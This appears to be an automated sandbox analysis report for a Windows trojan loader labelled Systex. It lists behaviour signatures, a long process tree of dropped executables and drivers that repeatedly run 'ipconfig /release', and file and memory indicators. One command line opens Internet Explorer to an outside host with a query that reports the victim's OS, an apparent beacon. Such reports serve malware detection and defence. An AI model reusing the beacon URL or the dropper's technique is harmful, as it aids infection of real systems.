Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
15/05/2026, 19:50
General
- Target 2026-05-15_0b4439c091162fe25aa1ca1b647dab71_amadey_darkgate_elex_smoke-loader_stop.exe
- Size 384KB
- Sample260515-ykbsvsat4m
- SHA256 441970565fd72b2b6d76e0939a4b9d4dee277d20807bb78dbee4985dc136577a
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-15_0b4439c091162fe25aa1ca1b647dab71_amadey_darkgate_elex_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-15_0b4439c091162fe25aa1ca1b647dab71_amadey_darkgate_elex_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\omgezwrpjhbztrmk.exeC:\Temp\omgezwrpjhbztrmk.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wuomhezxrp.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\wuomhezxrp.exeC:\Temp\wuomhezxrp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wuomhezxrp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wuomhezxrp.exeC:\Temp\i_wuomhezxrp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmgeywrojg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rmgeywrojg.exeC:\Temp\rmgeywrojg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmgeywrojg.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rmgeywrojg.exeC:\Temp\i_rmgeywrojg.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbvtolgeyw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dbvtolgeyw.exeC:\Temp\dbvtolgeyw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbvtolgeyw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dbvtolgeyw.exeC:\Temp\i_dbvtolgeyw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nlgdyvqoig.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nlgdyvqoig.exeC:\Temp\nlgdyvqoig.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nlgdyvqoig.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nlgdyvqoig.exeC:\Temp\i_nlgdyvqoig.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nigaysqkid.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nigaysqkid.exeC:\Temp\nigaysqkid.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nigaysqkid.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nigaysqkid.exeC:\Temp\i_nigaysqkid.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snkfdysqki.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\snkfdysqki.exeC:\Temp\snkfdysqki.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snkfdysqki.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_snkfdysqki.exeC:\Temp\i_snkfdysqki.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zusmkfcxup.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\zusmkfcxup.exeC:\Temp\zusmkfcxup.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zusmkfcxup.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zusmkfcxup.exeC:\Temp\i_zusmkfcxup.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hezxrpjhcz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hezxrpjhcz.exeC:\Temp\hezxrpjhcz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hezxrpjhcz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hezxrpjhcz.exeC:\Temp\i_hezxrpjhcz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bztrmjezwr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bztrmjezwr.exeC:\Temp\bztrmjezwr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bztrmjezwr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bztrmjezwr.exeC:\Temp\i_bztrmjezwr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomgezw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwuomgezw.exeC:\Temp\ecwuomgezw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomgezw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwuomgezw.exeC:\Temp\i_ecwuomgezw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wqojgbztol.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wqojgbztol.exeC:\Temp\wqojgbztol.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wqojgbztol.exe ups_ins3⤵
-
C:\Temp\i_wqojgbztol.exeC:\Temp\i_wqojgbztol.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\toigaytqlj.exe ups_run3⤵
-
C:\Temp\toigaytqlj.exeC:\Temp\toigaytqlj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_toigaytqlj.exe ups_ins3⤵
-
C:\Temp\i_toigaytqlj.exeC:\Temp\i_toigaytqlj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vqoiysqkid.exe ups_run3⤵
-
C:\Temp\vqoiysqkid.exeC:\Temp\vqoiysqkid.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vqoiysqkid.exe ups_ins3⤵
-
C:\Temp\i_vqoiysqkid.exeC:\Temp\i_vqoiysqkid.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nlfdxvqnig.exe ups_run3⤵
-
C:\Temp\nlfdxvqnig.exeC:\Temp\nlfdxvqnig.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nlfdxvqnig.exe ups_ins3⤵
-
C:\Temp\i_nlfdxvqnig.exeC:\Temp\i_nlfdxvqnig.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kfcxvpnhfz.exe ups_run3⤵
-
C:\Temp\kfcxvpnhfz.exeC:\Temp\kfcxvpnhfz.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kfcxvpnhfz.exe ups_ins3⤵
-
C:\Temp\i_kfcxvpnhfz.exeC:\Temp\i_kfcxvpnhfz.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fcxupnhfzx.exe ups_run3⤵
-
C:\Temp\fcxupnhfzx.exeC:\Temp\fcxupnhfzx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fcxupnhfzx.exe ups_ins3⤵
-
C:\Temp\i_fcxupnhfzx.exeC:\Temp\i_fcxupnhfzx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwupmherp.exe ups_run3⤵
-
C:\Temp\ecwupmherp.exeC:\Temp\ecwupmherp.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwupmherp.exe ups_ins3⤵
-
C:\Temp\i_ecwupmherp.exeC:\Temp\i_ecwupmherp.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwuomgezwr.exe ups_run3⤵
-
C:\Temp\bwuomgezwr.exeC:\Temp\bwuomgezwr.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwuomgezwr.exe ups_ins3⤵
-
C:\Temp\i_bwuomgezwr.exeC:\Temp\i_bwuomgezwr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wuomgeywro.exe ups_run3⤵
-
C:\Temp\wuomgeywro.exeC:\Temp\wuomgeywro.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wuomgeywro.exe ups_ins3⤵
-
C:\Temp\i_wuomgeywro.exeC:\Temp\i_wuomgeywro.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3472 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\omgezwrpjhbztrmk.sysC:\Temp\omgezwrpjhbztrmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\ywrpjhbztr.sysC:\Temp\ywrpjhbztr.sys1⤵
- Executes dropped EXE
-
C:\Temp\ojgbztrljd.sysC:\Temp\ojgbztrljd.sys1⤵
- Executes dropped EXE
-
C:\Temp\gaytqljdbv.sysC:\Temp\gaytqljdbv.sys1⤵
- Executes dropped EXE
-
C:\Temp\ytqlidbvtn.sysC:\Temp\ytqlidbvtn.sys1⤵
- Executes dropped EXE
-
C:\Temp\fdxvpnifay.sysC:\Temp\fdxvpnifay.sys1⤵
- Executes dropped EXE
-
C:\Temp\nhfaxspkic.sysC:\Temp\nhfaxspkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\cxspkhcaus.sysC:\Temp\cxspkhcaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmhezxrpjh.sysC:\Temp\rmhezxrpjh.sys1⤵
- Executes dropped EXE
-
C:\Temp\ljebwuomge.sysC:\Temp\ljebwuomge.sys1⤵
- Executes dropped EXE
-
C:\Temp\dbwtolgeyw.sysC:\Temp\dbwtolgeyw.sys1⤵
- Executes dropped EXE
-
C:\Temp\idbvtgdyvq.sysC:\Temp\idbvtgdyvq.sys1⤵
-
C:\Temp\dbvtnlgdyw.sysC:\Temp\dbvtnlgdyw.sys1⤵
-
C:\Temp\vsnlfdxvpn.sysC:\Temp\vsnlfdxvpn.sys1⤵
-
C:\Temp\vpkicausnk.sysC:\Temp\vpkicausnk.sys1⤵
-
C:\Temp\usmkfcxupf.sysC:\Temp\usmkfcxupf.sys1⤵
-
C:\Temp\smkecxupnh.sysC:\Temp\smkecxupnh.sys1⤵
-
C:\Temp\jhbztrmjec.sysC:\Temp\jhbztrmjec.sys1⤵
-
C:\Temp\dbwtomgeyw.sysC:\Temp\dbwtomgeyw.sys1⤵
-
C:\Temp\jebwtomgey.sysC:\Temp\jebwtomgey.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
cxspkhcaus.sys
dbvtolgeyw.exe
fdxvpnifay.sys
gaytqljdbv.sys
hezxrpjhcz.exe
i_dbvtolgeyw.exe
i_nigaysqkid.exe
i_nlgdyvqoig.exe
i_rmgeywrojg.exe
i_snkfdysqki.exe
i_wuomhezxrp.exe
i_zusmkfcxup.exe
nhfaxspkic.sys
nigaysqkid.exe
nlgdyvqoig.exe
ojgbztrljd.sys
omgezwrpjhbztrmk.exe
omgezwrpjhbztrmk.sys
rmgeywrojg.exe
snkfdysqki.exe
wuomhezxrp.exe
ytqlidbvtn.sys
ywrpjhbztr.sys
zusmkfcxup.exe
suggestions[1].en-US
memory/1240-153-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1636-75-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1636-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1696-110-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2020-74-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2020-129-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2132-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2704-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2712-137-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3516-121-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3840-102-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3996-161-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3996-90-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4120-157-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4184-141-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4332-145-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4352-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4452-133-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4588-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4692-125-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4720-149-0x0000000000010000-0x00000000000AB000-memory.dmp